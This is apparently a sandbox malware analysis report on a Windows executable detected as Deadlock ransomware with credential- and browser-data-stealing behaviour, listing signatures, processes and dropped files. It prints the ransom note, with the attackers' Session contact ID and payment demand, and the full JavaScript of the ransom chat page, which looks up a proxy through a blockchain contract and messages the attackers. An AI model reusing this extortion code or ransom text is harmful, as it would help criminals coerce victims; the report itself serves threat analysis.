Overview

overview

10

Static

static

3

_c9cc95ff8...2c.exe

windows10-2004-x64

10

_c9cc95ff8...2c.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/06/2026, 16:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe
  • Size 257KB
  • Sample260621-velt4aes3r
  • SHA256 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryransomwarespywarestealer

Malware Config

Extracted

Path

  • \Device\HarddiskVolume3\HOW_RECOVER.DF1635.txt

Ransom Note
  • # Your personal ID: DF1635 # Your company's network is attacked and the entire system is encrypted. # We have downloaded all the company's confidential data. # If you want your data fully decrypted and the files we stole removed from our source, you will have to pay a fee. # We will also be able to provide a security report and explain how we did it to get in. # There is only one way to get your files back: 1. Contact us, open RECOVERY_CHAT.DF1635.HTML via your browser or download Session messenger https://getsession.org/ 2. Our contacts (Session id: 05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78) 3. Send us 2-3 any encrypted your files and your personal ID 4. We will decrypt few file for test (maximum file size - 5 MB), its guarantee what we can decrypt your files 5. Pay 6. We send for you decryptor software # After payment you will receive. 1. Decryption tool for all devices 2. Complete list of files taken from the network. 3. Proof that all your data has been deleted. 4. Information about how we got into the network. 5. Security recommendations to stop future attacks. 6. Promise that we will not attack you again in the future. 7. Guarantee that we will forget about this incident. # We accept Bitcoin/Monero # Attention! Do not rename encrypted files. Do not try to decrypt using third party software, it may cause permanent data loss. Contact information: 05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78
URLs

  • https://getsession.org/

Extracted

Path

  • C:\Users\Admin\AppData\Local\Microsoft\PlayReady\Internet Explorer\Desktop\RECOVERY_CHAT.DF1635.html

Ransom Note
  • <title>Deadlock - data is safe, sure</title><script src=https://cdn.jsdelivr.net/npm/protobufjs/dist/protobuf.min.js></script><script src=https://cdnjs.cloudflare.com/ajax/libs/js-nacl/1.4.0/nacl_factory.js></script><script>var reciver={address:"05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78"};reciver.pk=hexToUint8Array(reciver.address.slice(2));var uid="DF1635",contract="0x8EF7c3e531d871D3B9D559722DE77EB1dEc19dAe",rpcPos=0,rpcList="polygon-bor-rpc.publicnode.com,polygon.drpc.org,polygon-pokt.nodies.app,polygon-rpc.com,1rpc.io/matic,polygon.meowrpc.com".split(","),proxy=!1,private=!1,snodes=!1,swarms=!1,swarms_rec=!1,is_first=!1,messages={},nacl={};function getProxy(){if(window.nacl_factory)return proxy?proxy?void sendProxy("ping",{},(function(e,t){if(e||!t||"ok"!=t)return proxy=!1,badAlert("Error: Ping request return reject"),stage("n1"),setTimeout(getProxy,5e3);stage(private?"n3":"n2"),setTimeout(getProxy,4e4)}),proxy):(stage("n1"),setTimeout(getProxy,2e3)):(stage("n1"),void getContract((function(e){return proxy=e,getProxy()}),(function(e){return setTimeout(getProxy,1e3)})));stage("n4")}function sendProxy(e,t,r,a=undefined){var n=!1;function s(e,t){n||(n=!0,r(e,t))}if(!proxy&&!a)return badAlert("Error: Can't find proxy"),void s(!1);try{var i=new XMLHttpRequest;i.open("POST",(a||proxy)+"?method="+e,!0),i.setRequestHeader("Content-Type","application/json"),i.timeout=12e3,i.ontimeout=function(){s(!0)},i.onreadystatechange=function(){if(4===this.readyState)if(this.status>=200)try{var e=JSON.parse(this.responseText);e.status?s(!1,e.data):(s(!0),e.mess&&e.mess.length>0&&badAlert(e.mess))}catch(t){console.log(t),s(!0),badAlert("Wait: Parse undefined")}else s(!0),badAlert("Wait: Error on request")},i.send(JSON.stringify(t))}catch(o){s(!0),badAlert("Wait: Answer undefined")}}function getContract(e,t){rpcList[rpcPos]||(rpcPos=0);try{var r=new XMLHttpRequest;r.open("POST","https://"+rpcList[rpcPos],!0),r.setRequestHeader("Content-Type","application/json"),r.onreadystatechange=function(){if(r.readyState===XMLHttpRequest.DONE)if(200===r.status){var a=JSON.parse(r.responseText)[1].result.replace("0x",""),n=a.indexOf("68747470");if(-1==n)return rpcPos++,void t();a=(a=a.slice(n)).replace(/0+$/,"")+"0",e(decodeURIComponent(a.replace(/[0-9a-f]{2}/g,"%$&")))}else rpcPos++,t()};var a=JSON.stringify([{method:"eth_chainId",params:[],id:1,jsonrpc:"2.0"},{method:"eth_call",params:[{to:contract,data:"0x933a9ce8"},"latest"],id:2,jsonrpc:"2.0"}]);r.send(a)}catch(n){rpcPos++,t()}}function updateMessages(){if(0!=messages.length){var e=document.getElementsByTagName("ov")[0],t="",r=Object.entries(messages);for(var a of(r.sort(((e,t)=>e[1].time-t[1].time)),r)){var n=a[1],s=n.data,i=n.time,o=new Date(i),c=o.getHours().toString().padStart(2,"0")+":"+o.getMinutes().toString().padStart(2,"0")+":"+o.getSeconds().toString().padStart(2,"0");n.from?t+="<sx><k>Support: <ls>"+c+"</ls></k><me>"+s+"</me></sx>":t+="<yx><k>You: <ls>"+c+"</ls></k><me>"+s+"</me></yx>"}e.innerHTML=t,e.scrollTop=e.scrollHeight}}function sendFirstMessage(){is_first||(is_first=!0,sendMessage("["+uid+"|Open]",!0))}function getChat(){var e=document.getElementsByTagName("lo")[0].style;if(private&&proxy){if(!snodes)return void sendProxy("get_snodes",{},(function(e,t){e?setTimeout(getChat,500):(snodes=t,getChat())}));if(!swarms)return void sendProxy("get_swarms",{pubkey:private.address,snode:snodes[snodes.length*Math.random()|0]},(function(e,t){e||(t&&t.snodes&&0!=t.snodes.length?swarms=t.snodes:badAlert("Wait: Empty data")),getChat()}));if(!swarms_rec)return void sendProxy("get_swarms",{pubkey:reciver.address,snode:snodes[snodes.length*Math.random()|0]},(function(e,t){e||(t&&t.snodes&&0!=t.snodes.length?swarms_rec=t.snodes:badAlert("Wait: Empty data")),getChat()}));var t=Date.now(),r=(new TextEncoder).encode("retrieve"+t),a=nacl.crypto_sign_detached(r,private.sk_ed25519),n={pubkey:private.address,signature:bufferToBase64(a),pubkey_ed25519:Uint8ArrayToHex(private.pk_ed25519),timestamp:t};sendProxy("poll",{pubkey:private.address,signatureBuilt:n,swarm:swarms[swarms.length*Math.random()|0]},(function(t,r){if(!t&&r&&r.messages){if(0!==r.messages.length){var a=!1;for(var n of r.messages)if(!messages[n.hash]){var s=decodeMessage(n);if(s&&s.dataMessage){var i=s.dataMessage;if(!i.body)continue;if(i.body=="["+uid+"|Open]"){is_first=!0;continue}var o=!(i.syncTarget&&i.syncTarget==reciver.address);messages[n.hash]={from:o,data:i.body.replace("["+uid+"] ",""),time:n.timestamp},a=!0}}a&&updateMessages(),sendFirstMessage()}else sendFirstMessage();e.visibility="hidden",setTimeout(getChat,8e3)}else setTimeout(getChat,3e3)}))}else setTimeout(getChat,2e3)}function decodeMessage(e){var t=base64ToBytesArr(e.data),r=(e.hash,decodeMessData(t));if(!r)return!1;if(!r.type||1!=r.type||!r.request||!r.request.body)return!1;var a=decodeMessDataEnvelope(r.request.body);if(!a)return!1;if(!(a.content&&a.content.length>0))return!1;var n=a.content;try{var s=nacl.crypto_box_seal_open(n,private.pk,private.sk),i=s.byteLength-64,o=(s.subarray(i),s.byteLength-96),c=s.byteLength-64,d=(s.subarray(o,c),s.byteLength-96),u=removeMessagePadding(s.subarray(0,d));return!!u&&decodePlainText(u)}catch(p){return!1}}function removeMessagePadding(e){for(var t=e.length-1;t>=0;t-=1){if(128===e[t]){var r=new Uint8Array(t);return r.set(e.subarray(0,t)),r}if(0!==e[t])return e}return!1}function AttachmentPointerdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.fixed64();break;case 2:r.contentType=e.string();break;case 3:r.key=e.bytes();break;case 4:r.size=e.uint32();break;case 6:r.digest=e.bytes();break;case 7:r.fileName=e.string();break;case 8:r.flags=e.uint32();break;case 9:r.width=e.uint32();break;case 10:r.height=e.uint32();break;case 11:r.caption=e.string();break;case 101:r.url=e.string();break;default:e.skipType(7&n)}}return r}function GroupContextdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.bytes();break;case 2:r.type=e.int32();break;case 3:r.name=e.string();break;case 4:r.members&&r.members.length||(r.members=[]),r.members.push(e.string());break;case 5:r.avatar=AttachmentPointerdecode(e,e.uint32());break;case 6:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.string());break;default:e.skipType(7&n)}}return r}function decodeQuote(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.uint64();break;case 2:r.author=e.string();break;case 3:r.text=e.string();break;case 4:r.attachments&&r.attachments.length||(r.attachments=[]),r.attachments.push(QuotedAttachmentdecode(e,e.uint32()));break;default:e.skipType(7&n)}}return r}function QuotedAttachmentdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.contentType=e.string();break;case 2:r.fileName=e.string();break;case 3:r.thumbnail=AttachmentPointerdecode(e,e.uint32());break;default:e.skipType(7&n)}}return r}let abc="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";function base64ToBytesArr(e){let t=[...abc],r=[];for(let a=0;a<e.length/4;a++){let n=[...e.slice(4*a,4*a+4)].map((e=>t.indexOf(e).toString(2).padStart(6,0))).join("").match(/.{1,8}/g).map((e=>+("0b"+e)));r.push(...n.slice(0,3-("="==e[4*a+2])-("="==e[4*a+3])))}return r}function bufferToBase64(e){const t=e=>e.toString(2).padStart(8,0),r=e.length;let a="";for(let n=0;n<=(r-1)/3;n++){let s=3*n+1>=r,i=3*n+2>=r;a+=(t(e[3*n])+t(s?0:e[3*n+1])+t(i?0:e[3*n+2])).match(/.{1,6}/g).map(((e,t)=>3==t&&i||2==t&&s?"=":abc[+("0b"+e)])).join("")}return a}function DataMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.body=e.string();break;case 2:r.attachments&&r.attachments.length||(r.attachments=[]),r.attachments.push(AttachmentPointerdecode(e,e.uint32()));break;case 3:r.group=GroupContextdecode(e,e.uint32());break;case 4:r.flags=e.uint32();break;case 5:r.expireTimer=e.uint32();break;case 6:r.profileKey=e.bytes();break;case 7:r.timestamp=e.uint64();break;case 8:r.quote=decodeQuote(e,e.uint32());break;case 10:r.preview&&r.preview.length||(r.preview=[]),r.preview.push(Previewdecode(e,e.uint32()));break;case 11:r.reaction=Reactiondecode(e,e.uint32());break;case 101:r.profile=LokiProfiledecode(e,e.uint32());break;case 102:r.openGroupInvitation=OpenGroupInvitationdecode(e,e.uint32());break;case 104:r.closedGroupControlMessage=ClosedGroupControlMessagedecode(e,e.uint32());break;case 105:r.syncTarget=e.string();break;case 106:r.blocksCommunityMessageRequests=e.bool();break;default:e.skipType(7&n)}}return r}function OpenGroupInvitationdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.url=e.string();break;case 3:r.name=e.string();break;default:e.skipType(7&n)}}return r}function Reactiondecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.uint64();break;case 2:r.author=e.string();break;case 3:r.emoji=e.string();break;case 4:r.action=e.int32();break;default:e.skipType(7&n)}}return r}function Previewdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.url=e.string();break;case 2:r.title=e.string();break;case 3:r.image=AttachmentPointerdecode(e,e.uint32());break;default:e.skipType(7&n)}}return r}function ClosedGroupControlMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:r.publicKey=e.bytes();break;case 3:r.name=e.string();break;case 4:r.encryptionKeyPair=KeyPairdecode(e,e.uint32());break;case 5:r.members&&r.members.length||(r.members=[]),r.members.push(e.bytes());break;case 6:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.bytes());break;case 7:r.wrappers&&r.wrappers.length||(r.wrappers=[]),r.wrappers.push(KeyPairWrapperdecode(e,e.uint32()));break;case 8:r.expirationTimer=e.uint32();break;default:e.skipType(7&n)}}return r}function KeyPairWrapperdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.encryptedKeyPair=e.bytes();break;default:e.skipType(7&n)}}return r}function CallMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:r.sdps&&r.sdps.length||(r.sdps=[]),r.sdps.push(e.string());break;case 3:if(r.sdpMLineIndexes&&r.sdpMLineIndexes.length||(r.sdpMLineIndexes=[]),2==(7&n))for(var s=e.uint32()+e.pos;e.pos<s;)r.sdpMLineIndexes.push(e.uint32());else r.sdpMLineIndexes.push(e.uint32());break;case 4:r.sdpMids&&r.sdpMids.length||(r.sdpMids=[]),r.sdpMids.push(e.string());break;case 5:r.uuid=e.string();break;default:e.skipType(7&n)}}return r}function Unsenddecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.timestamp=e.uint64();break;case 2:r.author=e.string();break;default:e.skipType(7&n)}}return r}function ReceiptMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:if(r.timestamp&&r.timestamp.length||(r.timestamp=[]),2==(7&n))for(var s=e.uint32()+e.pos;e.pos<s;)r.timestamp.push(e.uint64());else r.timestamp.push(e.uint64());break;default:e.skipType(7&n)}}return r}function TypingMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.timestamp=e.uint64();break;case 2:r.action=e.int32();break;default:e.skipType(7&n)}}return r}function KeyPairdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.privateKey=e.bytes();break;default:e.skipType(7&n)}}return r}function ClosedGroupdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.name=e.string();break;case 3:r.encryptionKeyPair=KeyPairdecode(e,e.uint32());break;case 4:r.members&&r.members.length||(r.members=[]),r.members.push(e.bytes());break;case 5:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.bytes());break;default:e.skipType(7&n)}}return r}function ConfigurationMessagedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.closedGroups&&a.closedGroups.length||(a.closedGroups=[]),a.closedGroups.push(ClosedGroupdecode(e,e.uint32()));break;case 2:a.openGroups&&a.openGroups.length||(a.openGroups=[]),a.openGroups.push(e.string());break;case 3:a.displayName=e.string();break;case 4:a.profilePicture=e.string();break;case 5:a.profileKey=e.bytes();break;case 6:a.contacts&&a.contacts.length||(a.contacts=[]),a.contacts.push(Contactdecode(e,e.uint32()));break;default:e.skipType(7&n)}}return a}function Contactdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.name=e.string();break;case 3:r.profilePicture=e.string();break;case 4:r.profileKey=e.bytes();break;case 5:r.isApproved=e.bool();break;case 6:r.isBlocked=e.bool();break;case 7:r.didApproveMe=e.bool();break;default:e.skipType(7&n)}}return r}function DataExtractionNotificationdecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.type=e.int32();break;case 2:a.timestamp=e.uint64();break;default:e.skipType(7&n)}}return a}function MessageRequestResponsedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.isApproved=e.bool();break;case 2:a.profileKey=e.bytes();break;case 3:a.profile=LokiProfiledecode(e,e.uint32());break;default:e.skipType(7&n)}}return a}function LokiProfiledecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.displayName=e.string();break;case 2:a.profilePicture=e.string();break;default:e.skipType(7&n)}}return a}function SharedConfigMessagedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.kind=e.int32();break;case 2:a.seqno=e.int64();break;case 3:a.data=e.bytes();break;default:e.skipType(7&n)}}return a}function decodePlainText(e){try{var t=e.length;e=protobuf.Reader.create(e);for(var r={};e.pos<t;){var a=e.uint32();switch(a>>>3){case 1:r.dataMessage=DataMessagedecode(e,e.uint32());break;case 3:r.callMessage=CallMessagedecode(e,e.uint32());break;case 5:r.receiptMessage=ReceiptMessagedecode(e,e.uint32());break;case 6:r.typingMessage=TypingMessagedecode(e,e.uint32());break;case 7:r.configurationMessage=ConfigurationMessagedecode(e,e.uint32());break;case 8:r.dataExtractionNotification=DataExtractionNotificationdecode(e,e.uint32());break;case 9:r.unsendMessage=Unsenddecode(e,e.uint32());break;case 10:r.messageRequestResponse=MessageRequestResponsedecode(e,e.uint32());break;case 11:r.sharedConfigMessage=SharedConfigMessagedecode(e,e.uint32());break;case 12:r.expirationType=e.int32();break;case 13:r.expirationTimer=e.uint32();break;default:e.skipType(7&a)}}return r}catch(n){return!1}}function decodeMessDataEnvelope(e){try{var t=e.length;e=protobuf.Reader.create(e);for(var r={};e.pos<t;){var a=e.uint32();switch(a>>>3){case 1:r.type=e.int32();break;case 2:r.source=e.string();break;case 5:r.timestamp=e.uint64();break;case 8:r.content=e.bytes();break;default:e.skipType(7&a)}}return!(!r.type||!r.timestamp)&&r}catch(n){return!1}}function decodeMessData(e){try{for(var t=protobuf.Reader.create(e),r={},a=e.length;t.pos<a;){var n=t.uint32();switch(n>>>3){case 1:r.type=t.int32();break;case 2:r.request=decodeMessDataFull(t,t.uint32());break;default:t.skipType(7&n)}}return!(!r.type||!r.request)&&r}catch(s){return!1}}function decodeMessDataFull(e,t=undefined){try{var r;t?r=e.pos+t:(r=e.length,e=protobuf.Reader.create(e));for(var a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.verb=e.string();break;case 2:a.path=e.string();break;case 3:a.body=e.bytes();break;case 5:a.headers&&a.headers.length||(a.headers=[]),a.headers.push(e.string());break;case 4:a.id=e.uint64();break;default:e.skipType(7&n)}}return a}catch(s){return!1}}function handlerInput(e){var t=e.target.value;/[^ -~]/.test(t)&&(e.target.value=t.replace(/[^\x00-\x7F]/g,""))}function handlerLogin(e){var t=document.getElementById("er1"),r=document.getElementById("login"),a=document.getElementById("pass"),n=r.value,s=a.value;if(t.innerHTML="",n.length<=5||s.length<=5)t.innerHTML="Login and Password must be more then 5 symbols";else{for(var i=n+"_"+uid+"_"+s,o=new Uint8Array(i.length),c=0;c<i.length;c++)o[c]=i.charCodeAt(c);window.nacl_factory.instantiate((function(e){nacl=e;var t=e.crypto_hash(o).slice(0,16),r=new Uint8Array(32);r.set(t);var a=e.cry

Signatures

  • Renames multiple (8281) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 3 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 26 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • System policy modification 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\_c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe
    "C:\Users\Admin\AppData\Local\Temp\_c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe"
    1⤵
    • Drops startup file
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1880
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KAGMWCMW.cmd" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5384
      • C:\Windows\SysWOW64\chcp.com
        chcp 65001
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2204
  • C:\Windows\System32\ShellHost.exe
    "C:\Windows\System32\ShellHost.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1724
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4780
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2108

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        RECOVERY_CHAT.DF1635.html
        • Path C:\Users\Admin\AppData\Local\Microsoft\PlayReady\Internet Explorer\Desktop\RECOVERY_CHAT.DF1635.html
        • Size 29KB
        • SHA256 7db538fde3a25e6a7ce5e4ffde4033d823bf57fc20bcbf17aace37af808ea6db
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        57C8EDB95DF3F0AD4EE2DC2B8CFD4157
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
        • Size 5KB
        • SHA256 c74d99e0e0b85c6a114f91648922cdf9af0e0e566731f0d8416aedddddd0d87a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        57C8EDB95DF3F0AD4EE2DC2B8CFD4157
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
        • Size 480B
        • SHA256 a34a692c5fea4b8630287500077aa352051862c63752da34eb62ca88b554ca2e
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 724B
        • SHA256 4ef04a3925a1e82cb4c36d2fb64c3295d367392af5a538d2b061999973a8ccd6
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 607B
        • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        microsoftwindows.client[1].xml
        • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\MKYJ9D4L\microsoftwindows.client[1].xml
        • Size 236B
        • SHA256 6df68eb6ec70f428a6720aa59375d2d8107213112fb6b75ec26fa88c44bb3b0f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        KAGMWCMW.cmd
        • Path C:\Users\Admin\AppData\Local\Temp\KAGMWCMW.cmd
        • Size 300B
        • SHA256 1b3fa9a249b555e1eb6ed70cceecbb5b104b75a06e7ff021d751a3a8f773be83
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        HOW_RECOVER.DF1635.txt
        • Path \Device\HarddiskVolume3\HOW_RECOVER.DF1635.txt
        • Size 1KB
        • SHA256 1d6952d98652866222efd7c176f5ad74562fd10b56817d4d97907a1c1cb95368
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2108-180-0x0000025A8BBF0000-0x0000025A8BC10000-memory.dmp
        Download

        memory/2108-145-0x0000025A8B400000-0x0000025A8B500000-memory.dmp
        Download

        memory/2108-144-0x0000025A8B1F0000-0x0000025A8B210000-memory.dmp
        Download

        memory/2108-147-0x0000025A8B300000-0x0000025A8B320000-memory.dmp
        Download

        memory/2108-33-0x0000025A85D40000-0x0000025A85E40000-memory.dmp
        Download